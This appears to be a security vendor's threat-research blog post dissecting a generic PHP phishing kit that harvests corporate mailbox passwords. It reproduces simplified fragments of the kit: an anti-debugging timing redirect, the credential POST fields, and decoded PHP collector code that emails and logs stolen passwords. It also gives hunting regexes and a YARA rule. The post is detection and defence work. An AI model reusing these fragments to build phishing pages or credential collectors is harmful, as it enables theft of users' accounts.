← Back to Blog

Threat Research

Inside JIVS PhishKit: A Domain-Adaptive Credential Harvester

Compact, self-hosted phishing kit that captures repeated mailbox-password attempts, enriches them with victim geolocation, and redirects to the victim's domain.

By ZeroBEC Team · July 15, 2026 · 12 min read

ZeroBEC prevented a coordinated mailbox credential-harvesting campaign targeting multiple users within the same Microsoft 365 organization. The messages used an authenticated but unrelated external sender, warned that each recipient mailbox had violated policy, and directed users to a live PHP phishing page on corychase[.]org. Header analysis showed the messages traversed the upstream secure email gateway, were passed into Microsoft 365 with SCL -1, and landed directly in the Inbox.

The landing page was not a Microsoft clone. It presented a generic "Session Expired" form that could be used against Microsoft 365, Google Workspace, hosted webmail, or almost any corporate identity. The victim email address was supplied through the URL, while the page requested the password the user associated with that mailbox. This provider-agnostic design sits at the opposite end of the spectrum from ZeroBEC's earlier GPPStorm research, where attackers imitated Google Premier Partner branding to steal Workspace credentials. JIVS shows the mirror-image trade-off: attackers do not need a recognizable Microsoft or Google replica to harvest corporate passwords, and dropping the brand widens the target set to any mailbox provider.

ZeroBEC correlated the stable URL parameter, script names, DOM identifiers, and backend behavior to a complete phishing-kit source-code package uploaded to VirusTotal in December 2025. Reverse engineering the recovered package showed a simple but operationally effective design. It can be uploaded to any PHP-capable host, requires no database or centralized service, and deliberately captures up to three password attempts. Each result is sent to an operator-controlled mailbox, appended to a server-side text file, and followed by a redirect to the domain extracted from the submitted email address.

Public URLQuery, sandbox, GitHub feed, and institutional advisory records show the same stable artifacts across unrelated sites from at least August 2025 through 2026. A substantial share of the publicly observed deployments resolved to hosting in Japan and the broader APAC region, with additional infrastructure in the United States and Europe. ZeroBEC found no prior public technical report documenting the complete client and server behavior of this kit.

Key findings

• ZeroBEC tracks the cluster as JIVS PhishKit, an internal name derived from the stable jivsbsdnoo URL parameter. The same parameter, script filenames, and backend behavior have remained consistent across every observed deployment from August 2025 through July 2026, nearly a full year of unchanged artifacts.
• The live campaign targeted multiple users within the same organization using recipient-specific links generated in rapid succession. The messages traversed the upstream secure email gateway, received SCL -1 in Microsoft 365, and landed directly in the Inbox.
• The kit steals a corporate email address and the password entered for that mailbox. It does not steal session cookies, OAuth tokens, MFA codes, or browser sessions.
• The page is provider-agnostic. It can target Microsoft 365, Google Workspace, cPanel, Roundcube, Zimbra, or other email identities without changing the core package.
• Two anti-analysis layers block common inspection shortcuts, suppress console output, execute a recurring debugger trap, and redirect paused analysts to Google.
• Three password attempts are collected through intentionally false "Invalid Password" messages. The backend accepts any non-empty password and performs no real authentication.
• The recovered backend uses dual exfiltration: PHP email delivery to an operator-configured address and local storage in a text file.
• Stable query parameters, script names, DOM identifiers, hashes, and backend behavior provide high-confidence kit-family correlation. Public deployments show a strong APAC hosting concentration, especially in Japan, alongside United States and European infrastructure.

The email that exposed the live deployment

The observed lure used the subject Mailbox Policy Violation Warning. It claimed that the recipient had been marked for termination because of policy violations and instructed the user to verify the mailbox through an external link. The sender authenticated for its own unrelated domain, while the display name and message content impersonated internal mail support.

ZeroBEC observed the same lure targeting multiple users in the organization. The messages were generated in rapid succession with recipient-specific jivsbsdnoo values. Header analysis showed that the mail traversed the organization's secure email gateway and was handed to Microsoft 365 as trusted traffic. It received SCL -1 and landed directly in the Inbox, creating a gateway-to-inbox blind spot despite the mailbox-termination pretext and unrelated verification domain.

The link contained a personalized recipient value in the query parameter:

hxxps://corychase[.]org/ssos76r5yt/?jivsbsdnoo=<recipient-email>

The value can appear either as a plain email address or as Base64. The main JavaScript attempts to decode it and falls back to the original value if decoding fails. The address is then placed into the email field and locked, leaving the victim to provide only a password.

A generic login page, not a Microsoft replica

This is intentionally unsophisticated credential theft. The kit does not recreate the Microsoft sign-in interface, Google sign-in interface, or a specific webmail product. Instead, it uses a generic session-expired page with an email field, a password field, a "Remember Me" checkbox, and a login button.

That simplicity expands its target set. A Microsoft 365 user is expected to enter an Entra ID password, while a Google Workspace user may enter a Google password. A user of cPanel, Roundcube, Zimbra, or another hosted mail service may enter that mailbox password. The kit does not determine the provider and does not validate the credential. It simply records what the victim believes is the correct password for the prefilled corporate email address.

What the kit steals. The submitted email address, up to three entered passwords, and browser-supplied IP and geolocation data. It does not capture MFA codes, tokens, cookies, or an authenticated session.

A small, portable, self-hosted phishing package

UpdateScript.zip contains the complete components required for the observed attack: a static index page, a stylesheet, a few images, three JavaScript files, and a PHP collection endpoint. The active path does not require a database, administration panel, cloud API, or external authentication service. An operator can configure a result address, upload the package to a PHP-capable site, and distribute personalized links.

The three JavaScript layers

The anti-debugging behavior

The anti-debugging script repeatedly records a high-resolution timestamp, executes an explicit debugger statement, and compares the elapsed time. If an analyst remains paused for more than roughly 100 milliseconds, the page replaces itself with Google. The test repeats every second. This can cause an automated sandbox or a manual investigator to see only a benign redirect unless the script is ignored, blocked, or overridden.

// Simplified behavior
start = performance.now();
debugger;
if (performance.now() - start > 100) {
  document.location.replace("https://www.google.com");
}
setTimeout(antiDebug, 1000);

Domain-based personalization

The main script extracts the domain after the @ sign and uses it to customize the otherwise generic page. Depending on availability, it requests a company logo, favicon, and a screenshot of the organization website, while also inserting a human-readable domain name into the page title and status text. These third-party services are legitimate services being abused for personalization and should not be treated as malicious infrastructure by themselves.

What happens when a password is entered

The browser posts three URL-encoded fields to the PHP endpoint:

POST /ssos76r5yt/assets/php/process.php
Content-Type: application/x-www-form-urlencoded

fox=<email>&con=<entered-password>&IP=<serialized-geolocation-json>

In the live test, a fictitious password was accepted immediately and the server returned:

{"success":true,"error":"Data received and processed.","url":"https://<victim-domain>"}

The response proves that success means only that the collection endpoint processed the submission. No request was made to Microsoft, Google, or another identity provider. The backend does not know whether the password is correct.

The three-password collection loop

After the first and second successful POST responses, the client clears the password field and displays a false "Invalid Password" message. On the third submission, it displays a fake authentication success message, waits approximately two seconds, and redirects the victim to the domain returned by the backend.

This pattern can capture a mistyped value, the corrected password, an older password, or a reused alternative. Each submission may be useful to an attacker even though the kit performs no validation.

Inside the recovered PHP backend

The active process.php file in UpdateScript.zip is wrapped in an eval(base64_decode(...)) layer. Once decoded, it reads the same field names observed in live traffic: fox for the email address, con for the password, and IP for serialized victim enrichment. It extracts the email domain, formats a result report, sends the result through PHP mail, appends the same content to a local file, and returns JSON to the browser.

// Simplified decoded server logic
$email    = $_POST["fox"] ?? "";
$password = $_POST["con"] ?? "";
$userIp   = $_POST["IP"];
$domain   = explode("@", $email)[1];
@mail($resultbox, $subject, $message);
file_put_contents($filename, $message, FILE_APPEND | LOCK_EX);

The result address and output filename are separated into a small configuration file. This makes each deployment independently operator-managed. The package does not need to call back to a shared kit service, which limits infrastructure overlap and makes actor attribution difficult.

Why a simple kit can still work

JIVS PhishKit is technically modest, but it is optimized for low-cost reuse:

• It works on ordinary PHP hosting and can be placed under almost any directory.
• It does not depend on a specific identity provider or recognizable Microsoft branding.
• The recipient address arrives prefilled, reducing friction and reinforcing the appearance of personalization.
• Third-party logo and screenshot services can make one package look tailored to many organizations.
• The false password failures encourage the victim to submit multiple credential candidates.
• The Google anti-debug redirect can hide the page from casual analysis.
• Dual result handling reduces the chance that a failed email delivery loses the captured credentials.

The absence of a Microsoft replica is therefore not a limitation. It is part of the kit design: one generic mailbox-login experience can be reused against Microsoft 365, Google Workspace, and other corporate email services without rebuilding the page.

Nearly a year of stable public artifacts

A URLQuery search combining the jivsbsdnoo parameter with the three script names returned 30 public hits. The earliest result identified during this investigation was dated August 21, 2025, and ZeroBEC observed the current corychase[.]org deployment on July 14, 2026. The stable artifacts therefore span nearly a year of publicly visible activity.

The hosting pattern is geographically distributed but concentrated in APAC, particularly Japan. Additional deployments resolved to infrastructure in the United States, Germany, Türkiye, Bulgaria, and other locations, consistent with a portable kit placed across compromised websites and low-cost PHP hosting.

Why ZeroBEC calls it JIVS PhishKit

The kit does not expose an operator name, campaign label, or public product name. ZeroBEC uses the internal tracking label JIVS PhishKit because the parameter jivsbsdnoo remains one of the most distinctive and stable artifacts across historical deployments. The name is intended only to group technically matching activity. It does not imply that "JIVS" has a known meaning or that every deployment belongs to the same operator.

Public correlation without a public family report

The kit is not invisible. Public records preserve its URLs and assets: URLQuery reports, ANY.RUN and Hybrid Analysis sandbox sessions, GitHub phishing feeds, a university warning, and VirusTotal archives all contain parts of the cluster. The November 12, 2025 TweetFeed record, for example, attributes a dhafirgroup[.]sbs URL to a ROMonlyHT phishing post. The University of Electro-Communications also published a same-day warning about emails intended to steal university email IDs and passwords.

What appears to be missing is a public technical analysis that brings the complete behavior together. ZeroBEC did not identify a prior report documenting the stable package structure, three-password workflow, exact POST fields, decoded PHP collector, dual exfiltration, anti-debugging loop, and domain-derived redirect as one named kit family.

Detection and hunting opportunities

The most reliable detections combine multiple stable artifacts. The distinctive URL parameter, script names, DOM identifiers, credential-submission fields, and backend response provide durable hunting anchors across deployments.

URL hunting regex

(?i)[?&]jivsbsdnoo=[^&\s]+

Example YARA rule

rule ZeroBEC_JIVS_PhishKit
{
  meta:
    description = "Stable artifacts from the JIVS credential-harvesting kit"
    author = "ZeroBEC Research"
  strings:
    $p  = "jivsbsdnoo" ascii
    $j1 = "qymt22xfza.js" ascii
    $j2 = "gahsf54d2k.js" ascii
    $j3 = "unw3ir66zc.js" ascii
    $s  = "Session Authenticated Successfully!" ascii
    $r  = "Data received and processed." ascii
  condition:
    2 of ($j*) or ($p and $s) or ($p and $r)
}

Indicators of compromise

Why ZeroBEC

JIVS PhishKit illustrates why email security cannot rely only on sender authentication, known bad domains, or brand-specific page matching. The sender authenticated for its own domain. The landing page did not need to imitate Microsoft. The hosting site could be newly registered, attacker-controlled, or an otherwise legitimate PHP website. The core package had also remained stable long enough to appear in public feeds without receiving a complete family-level analysis.

ZeroBEC quarantined the message by evaluating the attack as a whole: an external and unrelated sender presented itself as mail support, used mailbox-termination pressure, personalized the content to the recipient, and directed users to an external verification workflow inconsistent with normal tenant behavior. Detection did not depend on seeing a Microsoft logo or waiting for a domain reputation service to catch up.

That context continues after delivery. Stable URL parameters, landing-page behavior, script artifacts, credential-submission patterns, and campaign reuse can be correlated across tenants and time. A simple self-hosted phish kit may be easy for an attacker to deploy, but it should not be easy for it to remain invisible inside a protected mailbox.

ZeroBEC protects the mailbox before a simple credential page becomes an account takeover.